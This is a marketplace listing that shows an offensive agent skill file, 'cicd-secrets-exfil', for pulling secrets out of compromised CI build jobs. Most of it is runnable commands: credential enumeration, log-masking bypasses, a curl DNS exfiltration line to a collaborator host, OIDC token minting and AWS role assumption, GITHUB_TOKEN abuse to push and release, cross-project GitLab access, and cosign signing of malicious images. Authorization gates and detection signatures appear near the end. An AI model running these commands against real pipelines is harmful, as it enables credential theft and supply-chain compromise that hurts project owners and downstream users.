Skip to main content

cicd-secrets-exfil

Extracting CI secrets / OIDC tokens once you have code execution in a build job — echo/printenv exfil, log-masking bypass (base64, char-split, reversal), OIDC token abuse to assume cloud roles, GITHUB_TOKEN / CI_JOB_TOKEN scope abuse, cache / artifact secret leakage, provenance pivot.

Ir a la instalación

Datos de origen

Repositorio
BitterSecurity/Decepticon
Última actividad en el origen
1 de junio de 2026 a las 23:04
Idioma detectado de SKILL.md
inglés
Estrellas
5565
Forks
1053

Opciones de instalación

De forma predeterminada está seleccionado el prompt que primero revisa el origen. Puedes cambiar a un comando directo o descargar una copia local.

Revisa los archivos de origen

Lee SKILL.md y los archivos complementarios que muestra SkillsMP antes de decidir si quieres instalarlo.

Mostrando SKILL.md

SKILL.md
Instrucciones de origen · Vista previa de solo lectura
name
cicd-secrets-exfil
description
Extracting CI secrets / OIDC tokens once you have code execution in a build job — echo/printenv exfil, log-masking bypass (base64, char-split, reversal), OIDC token abuse to assume cloud roles, GITHUB_TOKEN / CI_JOB_TOKEN scope abuse, cache / artifact secret leakage, provenance pivot.
allowed-tools
Bash Read Write
metadata
{"subdomain":"credential-access","when_to_use":"ci secrets exfil printenv masking bypass oidc id-token aws assume-role gcp workload identity azure github_token ci_job_token cache artifact","tags":"ci-cd, secrets, oidc, credential-access","mitre_attack":"T1552.001, T1552.007, T1078.004, T1528"}
# CI/CD Secrets & OIDC Exfiltration Pre-requisite: you already have code execution in a CI job (see `poisoned-pipeline-execution/` or `github-actions-injection/`). Goal: convert that ephemeral execution into durable cloud / registry access without tripping log masking. ## Surface map ```bash # In the runner — every place a secret might live env | grep -iE 'token|secret|password|key|aws_|gcp_|azure_|registry|npm_|pypi_|dockerhub' | head ls -la "$HOME/.docker/config.json" "$HOME/.aws/credentials" "$HOME/.kube/config" "$HOME/.netrc" 2>/dev/null ls -la "$RUNNER_TEMP/_github_workflow/" 2>/dev/null cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -iE 'token|secret' | sort -u | head ``` ## Log masking — and how it fails GitHub Actions, GitLab CI, CircleCI mask declared secrets in job logs by replacing exact substrings with `***`. The mask is **substring-based, applied post-write, to UTF-8 chars only**. Defeats trivially: ```bash SECRET="$MY_SECRET" # 1. Base64 — masker doesn't decode echo "$SECRET" | base64 -w0 # 2. Hex echo -n "$SECRET" | xxd -p # 3. Char-by-char (one char per line) echo "$SECRET" | fold -w1 # 4. Reverse echo "$SECRET" | rev # 5. Print length + first/last chars (use this for *proof*; don't print the whole secret) echo "len=${#SECRET} first4=${SECRET:0:4} last4=${SECRET: -4}" # 6. Split across two strings echo "${SECRET:0:${#SECRET}/2}"; echo "${SECRET:${#SECRET}/2}" # 7. Use as URL — DNS exfil masks the secret in HTTP logs but the lookup succeeds curl -s "https://$(echo -n "$SECRET" | base64 -w0 | tr -d = | head -c 60).<COLLAB>/" # 8. Out-of-band — write to artifact then download echo "$SECRET" | base64 > "$RUNNER_TEMP/proof.b64" # then: actions/upload-artifact -> attacker downloads ``` **For authorized research: stop at step 5.** Length + first 4 + last 4 chars is enough to prove access; do not move the full secret to attacker infrastructure. ## What lives in `env` ```bash # GitHub Actions # - GITHUB_TOKEN — workflow token (scope depends on `permissions:` block, default depends on org) # - secrets.* — explicitly referenced; only present if the step mapped them # - ACTIONS_RUNTIME_TOKEN — runner-to-service JWT, scoped to runtime APIs (artifacts, cache) # - ACTIONS_ID_TOKEN_REQUEST_TOKEN + ACTIONS_ID_TOKEN_REQUEST_URL — OIDC exchange endpoints # - ACTIONS_CACHE_URL — cache service endpoint # GitLab CI # - CI_JOB_TOKEN — short-lived job token, scope depends on project + CI/CD settings # - CI_REGISTRY_USER / CI_REGISTRY_PASSWORD — container registry # - CI_DEPENDENCY_PROXY_USER / _PASSWORD # CircleCI # - CIRCLE_OIDC_TOKEN, CIRCLE_TOKEN ``` ## GitHub OIDC -> cloud role If the workflow declares `permissions: id-token: write`, the runner can mint a JWT trusted by AWS / GCP / Azure / Vault that maps to a cloud role. With code execution, you can mint it yourself even if no later step uses it: ```bash # Mint an OIDC token from inside the job ID_TOKEN=$(curl -sH "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \ "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=sts.amazonaws.com" | jq -r .value) # Inspect claims (no secret — JWT is base64) echo "$ID_TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq . # Claims include: sub (repo:OWNER/REPO:ref:refs/heads/...), iss, aud, repository, workflow # AWS — assume role if trust policy matches the sub claim aws sts assume-role-with-web-identity \ --role-arn "$AWS_ROLE_ARN" \ --role-session-name research \ --web-identity-token "$ID_TOKEN" \ --duration-seconds 900 \ | jq '{AccessKeyId:.Credentials.AccessKeyId[0:6]+"...", Expiration:.Credentials.Expiration}' # GCP — exchange for a Google access token via Workload Identity Federation # (requires the WIF pool/provider to trust the GitHub OIDC issuer) ``` **Trust-policy enumeration without burning a session**: the OIDC `sub` claim is deterministic — `repo:OWNER/REPO:ref:refs/heads/BRANCH` or `:environment:NAME`. If you can read the trust policy (cross-account roles are sometimes enumerable via `iam:GetRole` from a low-priv key), you can predict which `(repo, ref)` will pass. ## `GITHUB_TOKEN` abuse ```bash # What can this token do? (no secret leaked — just header inspection) curl -sI -H "Authorization: Bearer $GITHUB_TOKEN" https://api.github.com/ | grep -i x-oauth-scopes gh api /repos/$GITHUB_REPOSITORY --jq '.permissions' # Common abuses given `contents: write` + `pull-requests: write` gh release create v0.0.0-poc --notes "research" --target $GITHUB_SHA # creates a release gh pr merge <N> --merge # merges a PR git push "https://x-access-token:$GITHUB_TOKEN@github.com/$GITHUB_REPOSITORY" HEAD:refs/heads/research # packages: write -> push a container to ghcr.io tagged as a "release" echo "$GITHUB_TOKEN" | docker login ghcr.io -u "$GITHUB_ACTOR" --password-stdin ``` `GITHUB_TOKEN` is short-lived (job duration) and not exfilable to durable infra — but within the job it can mutate the repo, releases, packages, deployments. That mutation is the persistence. ## GitLab `CI_JOB_TOKEN` ```bash # Job-token API surface — package registry, container registry, releases, child pipelines curl -s --header "JOB-TOKEN: $CI_JOB_TOKEN" \ "$CI_API_V4_URL/projects/$CI_PROJECT_ID/packages" # If "CI/CD Job Token allowlist" is disabled (default historically), this token can access # OTHER projects in the same group — cross-project pivot curl -s --header "JOB-TOKEN: $CI_JOB_TOKEN" \ "$CI_API_V4_URL/projects/<OTHER_PROJECT_ID>/repository/files/Dockerfile/raw?ref=main" ``` ## Cache / artifact secret leakage ```bash # Cache key collisions — a base-branch job that wrote a cache containing creds, restored by a PR job # Look for caches that include $HOME/.docker, $HOME/.aws, $HOME/.npmrc, ~/.gradle gh api "repos/$GITHUB_REPOSITORY/actions/caches" --jq '.actions_caches[] | {key,size_in_bytes,ref}' # Inside the job — list restored cache contents ls -la "$HOME/.cache" "$HOME/.gradle" "$HOME/.m2" "$HOME/.npm" 2>/dev/null grep -RhE '^[A-Z_]+=.+(token|secret|key|password)' "$HOME"/.{npmrc,pypirc,gradle,m2,docker} 2>/dev/null | head # Artifacts from a sibling job often contain build logs with masked-but-bypassable secrets gh run download <RUN_ID> --repo $GITHUB_REPOSITORY -n build-logs grep -RhE '(AKIA|ghp_|gho_|ghu_|ghs_|ghr_|xox[baprs]-|eyJ[A-Za-z0-9_-]{20,})' . ``` ## Provenance / supply-chain pivot Once you can mint an OIDC token + push to ghcr.io / npm / PyPI as the project, you can sign artifacts via `cosign` / `sigstore` with the project's identity. Downstream consumers that verify signatures will accept malicious releases: ```bash # Sign a malicious image with the project's OIDC identity (Sigstore keyless) COSIGN_EXPERIMENTAL=1 cosign sign --yes "ghcr.io/$GITHUB_REPOSITORY:malicious" ``` This is exactly the chain SLSA L3 is meant to prevent and what the `tj-actions/changed-files` incident exercised end-to-end. ## Detection signatures | Signal | Source | |---|---| | Outbound DNS with high-entropy subdomain from a runner | DNS firewall (Cisco Umbrella, NextDNS, internal) | | `base64`, `xxd`, `rev`, `fold -w1`, `${VAR:0:1}` in a `run:` step | step-log scanner (rare in defender stacks; opportunity) | | OIDC `assume-role-with-web-identity` from a new `(repo, ref)` pair | CloudTrail `AssumeRoleWithWebIdentity` events | | `GITHUB_TOKEN` releasing/tagging/merging from a non-release workflow | branch-protection audit, GH audit log | | Artifact / cache containing dotfile dirs (`.docker`, `.aws`) | cache-policy lint | ## Tools | Tool | Use | |---|---| | `trufflehog` | Post-hoc scan of repo / job logs for leaked credentials | | `gitleaks` | Pre-commit + log-scan equivalent | | `gato-x secrets` | Automates the print + masking-bypass loop | | `cosign` / `sigstore` | Signing pivot once OIDC + push rights are in hand | | `aws-vault`, `gcloud auth` | Local validation of exchanged credentials (against research accounts only) | ## Decision gate 1. **Print proof, not the secret.** `len + first4 + last4` is enough. Anything more requires explicit written authorization for credential extraction. 2. **Do not exchange OIDC for cloud credentials** unless the engagement scope names the cloud account and the action explicitly authorizes role assumption. Demonstrate the *capability* by minting the token and decoding the claims locally — that proves the trust path without burning a session. 3. **Do not push artifacts** (releases, packages, container tags) even if the token allows it. Document the capability with a dry-run (`--dry-run`, `gh release create ... --draft` on a research repo). 4. Scrub any artifact / cache you created during the test before declaring done. ## References - GitHub docs — "About security hardening with OpenID Connect" - CICD-SEC-06 — "Insufficient Credential Hygiene" (OWASP) - Synacktiv — "GitHub Actions: Masking secrets is not enough" - Adnan Khan — Sigstore + GHA OIDC pivot writeups - `tj-actions/changed-files` (CVE-2025-30066) — end-to-end OIDC + masking-bypass chain in the wild
Ver en GitHub